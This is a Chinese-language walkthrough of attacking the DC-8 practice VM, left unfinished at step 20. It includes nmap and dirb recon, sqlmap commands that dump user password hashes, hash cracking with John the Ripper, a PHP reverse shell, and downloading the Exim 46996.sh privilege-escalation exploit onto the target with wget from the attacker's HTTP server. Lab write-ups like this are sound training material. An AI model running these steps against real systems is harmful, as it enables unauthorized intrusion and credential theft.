1:主机存活探测 nmap -sn 192.168.40.0/24 可知网段中两台存活主机
Ifconfig检查自己主机IP
分析可知DC8靶机的主机号为131
2:探测DC8靶机的端口情况 使用nmap -F 192.168.40.131
DC8靶机开启了22和80端口
端口 80:
用途:HTTP(超文本传输协议)服务。这是互联网上用于传输网页的标准协议。
应用:Web 服务器通常监听端口 80 来处理客户端的 HTTP 请求,并返回网页内容。当你在浏览器中输入一个网址(例如 http://www.example.com)并访问时,浏览器会默认使用端口 80 来获取该网站的网页。
安全:虽然 HTTP 本身不加密,但通常可以通过 SSL/TLS 加密,这时端口 443(HTTPS)会被用来提供加密的网页传输。
端口 22:
用途:SSH(安全外壳协议)服务。SSH 是一种网络协议,用于安全地访问远程计算机。
应用:SSH 服务器通常监听端口 22 来接受来自客户端的加密连接请求。这种连接可以用于远程命令行登录、文件传输(如通过 SFTP 或 SCP)、以及运行远程程序。
安全:SSH 提供了数据加密、身份验证和完整性保护,使得通过不安全的网络进行远程管理变得更加安全。
3:按照DC4靶机的经验,发现80端口,考虑用dirb命令分析端口
dirb:// 192.168.40.131/
dirb 是一款用于 Web 目录和文件扫描的工具,它通过发送 HTTP 请求来检查服务器上的目录和文件是否存在。当你使用 dirb 扫描一个网站时,它会继续扫描直到完成整个字典列表或者直到用户手动停止它。
观察输出,发现dirb扫到一个code值为200的项目,所以Ctrl+C停止扫描
如果你在 dirb 扫描过程中发现了 code200,这意味着 HTTP 状态码为 200 OK,表示请求的资源已成功找到。这是一个正常的响应,通常表示服务器上确实存在你尝试访问的 URL。在 Web 应用安全测试中,这可能意味着你发现了一个有效的路径或文件,这可能是进一步分析的起点。
4:发现存在一个web界面,在浏览器中打开
检查发现contact us界面存在输入框,此时考虑SQL注入
5:使用sqlmap并且进行分析
sqlmap -u http://192.168.40.131/node/3/vulnerable.php?id=1
此命令用来检测目标URL是否容易受到SQL注入攻击
发现检测到了反射值,表明有地方可以进行SQL注入
6:发现在界面“Details”处切换,地址栏的nid值会发生变化,修改nid值,页面会报错
其中nid是一个URL参数,用于传递标识符或值。在这种情况下,nid可能代表节点ID(Node ID),通常用于标识内容管理系统(CMS)中的特定内容项或页面。
7:对数据库信息进行测试:sqlmap -u "http://192.168.40.131/?nid=1" --dbs –batch
查看发现,探测到两个数据库:d7db和information_schema
8:此时尝试测试d7db这个数据库中有什么表:
sqlmap -u "http://192.168.40.131/?nid=1" -D d7db --tables –batch
发现一张user的表
9:获取user的列信息:
sqlmap -u "http://192.168.40.131/?nid=1" --level=5 --risk=3 --batch -D d7db -T users –columns
这个命令的组成部分解释如下:
-u:指定目标URL。
--level:设置测试的深度,范围从1到5,5为最深。
--risk:设置测试的风险等级,范围从1到3,3为最高风险。
--batch:在没有用户交互的情况下运行SQLMap。
-D:指定要测试的数据库名称。
-T:指定要测试的表名。
--columns:列出指定表中的所有列名。
得到一张表,里面包含data、name、mail、pass、uid、等重要信息
10:利用SQLMAP进一步测试:
sqlmap -u "http://192.168.40.131/?nid=1" --level=5 --risk=3 --batch -D d7db -T users -C "name,pass,uid" –dump
-u:指定目标URL。
--level:设置测试的深度,这里设置为5,意味着会进行更深入的测试。
--risk:设置测试的风险等级,这里设置为3,意味着会使用更高风险的测试payload。
--batch:在没有用户交互的情况下运行SQLMap。
-D:指定要测试的数据库名称。
-T:指定要测试的表名。
-C:指定要提取数据的列名,这里指定了name、pass和uid。
--dump:实际提取并显示数据。
11:创建pass.txt,并把得到的pass存进txt中
查看,发现成功存储
12:密码是加密的,所以考虑使用John the Ripper破解密码:john ziphash.txt
John the Ripper是一款免费的密码破解软件工具,最初是为Unix操作系统开发的,现在可以在15种不同的平台上运行。它是最常用的密码测试和破解程序之一,因为它将多个密码破解程序合并到一个软件包中,可以自动检测密码哈希类型,并包含可定制的破解器。
得到一个密码:turtle
13:登录网站:http://192.168.40.131/user 并且利用用户名和密码登录
14:登陆后四处查看,发现此处可以输入PHP代码
15:利用反弹shell
然后监听到
16:使用Python one-liner,它试图在终端中启动一个bash shell,在网络服务中获取一个交互式的shell,例如在渗透测试中从一个反向shell中执行
python -c "import pty;pty.spawn('/bin/bash')"
find / -perm -4000 -type f 2>/dev/null
是一个在Linux系统中用于查找所有具有特定权限(即设置了SUID位)的文件的 find 命令。这个命令会递归地搜索根目录 / 下的所有文件,并将结果输出到标准输出。下面是命令的详细解释:
find:这是用于查找文件的命令。
/:这是搜索的起始目录,/ 表示根目录,意味着搜索将从这里开始并遍历整个文件系统。
-perm -4000:这个选项告诉 find 命令只查找权限设置为SUID(Set User ID on execution)的文件。SUID位允许用户以文件所有者的身份执行文件,而不是以用户自己的权限执行。通常,这用于执行需要更高权限的程序。
-type f:这个选项指定 find 命令只查找类型为普通文件的条目。
2>/dev/null:这部分是将标准错误(stderr)重定向到 /dev/null,这意味着任何错误消息(例如,无法访问的目录或文件)都会被忽略,不会显示在命令输出中。
注:find / -perm -4000 -type f 2>/dev/null
在Linux系统中,文件权限通常使用八进制数(0到7)来表示。这些数字代表不同的权限集合。对于普通文件,这些权限集合通常是:
- 4:读(Read)
- 2:写(Write)
- 1:执行(Execute)
这些数字可以组合起来表示不同的权限。对于特殊权限位,如SUID(Set User ID on execution)、SGID(Set Group ID on execution)和Sticky bit,它们分别对应于更高的数值:
- 4000:SUID(Set User ID on execution)
- 2000:SGID(Set Group ID on execution)
- 1000:Sticky bit
当一个文件设置了SUID位(4000)时,这意味着当用户执行该文件时,他们将以该文件的所有者身份执行,而不是以他们自己的用户身份执行。这对于某些需要特定权限才能执行的程序很有用,同时又能限制用户对文件本身的写入权限。
例如,passwd
命令通常设置有SUID位,以便普通用户可以更改自己的密码,即使他们没有对 /etc/shadow
文件的写入权限,这个文件包含了加密的用户密码。
在 find
命令中使用 -perm -4000
选项是为了查找所有设置了SUID位的文件。这通常用于识别那些可能允许用户执行通常需要更高权限的操作的文件。
查讯结果可以看出在使用exim4时具有root权限,进一步查看命令exim4命令版本
exim4 –version 发现exim版本为4.89
在漏洞库里面寻找可利用的漏洞
searchsploit exim
searchsploit 是 Exploit Database 的一个搜索工具,它允许用户快速查找和浏览公开的漏洞和利用代码。Exploit Database 是一个收集和发布安全漏洞、漏洞利用和相关安全信息的在线数据库。
查找发现exim4.89的漏洞,但路径是一个txt文件;联想到靶机开启22端口,有ssh服务可以使用
此处发现有46996.sh的路径可以利用
17:查找46996.sh的绝对路径
searchsploit -p linux/local/46996.sh
将46996.sh复制到桌面
cp /usr/share/exploitdb/exploits/linux/local/46996.sh 46996.sh
成功保存并打开
然后python在桌面上打开一个临时的HTTP服务,端口号是7777
python3 -m http.server 7777
在建立好的shell里使用wget命令下载到靶机的tmp目录中
wget http://192.168.40.128:7777/46996.sh
成功由Kali中7777端口开启的http服务把46996.ssh文件下载到靶机
18:searchsploit 46996 -p
bsearchsploit 找到了一个针对 Exim 邮件服务器的本地提权漏洞利用脚本,编号为 46996。这个脚本位于 /usr/share/exploitdb/exploits/linux/local/ 目录下,并且它的文件名是 46996.sh。这个脚本是一个 Bourne-Again shell script(bash 脚本),并且它是可执行的 ASCII 文本文件。
该漏洞利用影响 Exim 版本 4.87 到 4.91,并被标记为 CVE-2019-10149。Verified: True 表示这个漏洞利用已经被确认是有效的。
19:打开该文件
发现由两个路径和方法
-m setuid和-m netcat,kali本地开启服务,python -m http.server 9999
在shell中,进入/tmp目录下,下载kali上的46996.sh文件
wget http://192.168.40.128:9999/46996.sh
发现成功响应http但是保存的时候发生错误
20:目前仅完成到这里